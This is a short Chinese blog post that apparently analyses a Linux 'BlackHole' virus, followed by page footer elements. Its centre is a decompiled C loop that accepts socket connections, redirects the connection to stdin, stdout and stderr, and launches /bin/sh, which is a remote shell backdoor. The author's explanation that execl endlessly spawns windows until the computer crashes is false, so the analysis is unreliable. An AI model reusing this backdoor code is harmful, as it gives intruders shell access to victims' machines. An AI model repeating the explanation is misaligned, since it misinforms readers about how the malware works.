基于Linux平台病毒BlackHole病毒解析

今天遇到了一个病毒,代码量不多,但是利用了一个函数的小空子,杀伤力确实挺惊人的。

转载请注明出处:http://blog.csdn.net/u010484477谢谢^_^

这个病毒前面就是常规的:

socket->bind->listen这个过程大家都大笑

下面我想详细说一下它的攻击方式:

while ( 1 )
  {
    nsock = accept(sock, (struct sockaddr *)&v10, (socklen_t *)&v9);// wait to link
    if ( nsock < 0 )
      break;
    if ( fork() )                               // if Create progress is father progress
    {
      send(nsock, "\nConnected!\n\n", strlen("\nConnected!\n\n") - 1, 0);
      send(nsock, "This fine tool coded by Bronc Buster\n", strlen("This fine tool coded by Bronc Buster\n") - 1, 0);//这是他在自己娱乐呢
      send(
        nsock,
        "Please enter each command followed by ';'\n",
        strlen("Please enter each command followed by ';'\n") - 1,
        0);
      dup2(nsock, 0);
      dup2(nsock, 1);
      dup2(nsock, 2);
      execl("/bin/sh", "/bin/sh", 0);**************这句话就是真正的攻击了,先找找execl看看他咋攻击的呢吐舌头
      close(nsock);
      exit(0);
    }
    close(nsock);
  }

在execl中第一个参数是path即指向要执行的文件路径第二个参数是执行该文件的参数列表

在上面的代码中首先系统找到/bin/sh这一路径,然后是第二个参数执行/bin/sh,弹出一个窗口,而接下来/bin/sh又作为路径,继续寻找相应的参数列表,也就是/bin/sh,然后再执行,再弹窗,再查找,执行,弹窗,查找,执行,弹窗,查找。。。。惊恐一直下去,直到。。直到电脑over

这个病毒写的杀伤力还是挺大的,(⊙o⊙)学无止境啊

最后是一句话送给大家:

很多事情就像旅行一样,但你决定要出发的时候,最困难的部分已经完成了!

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值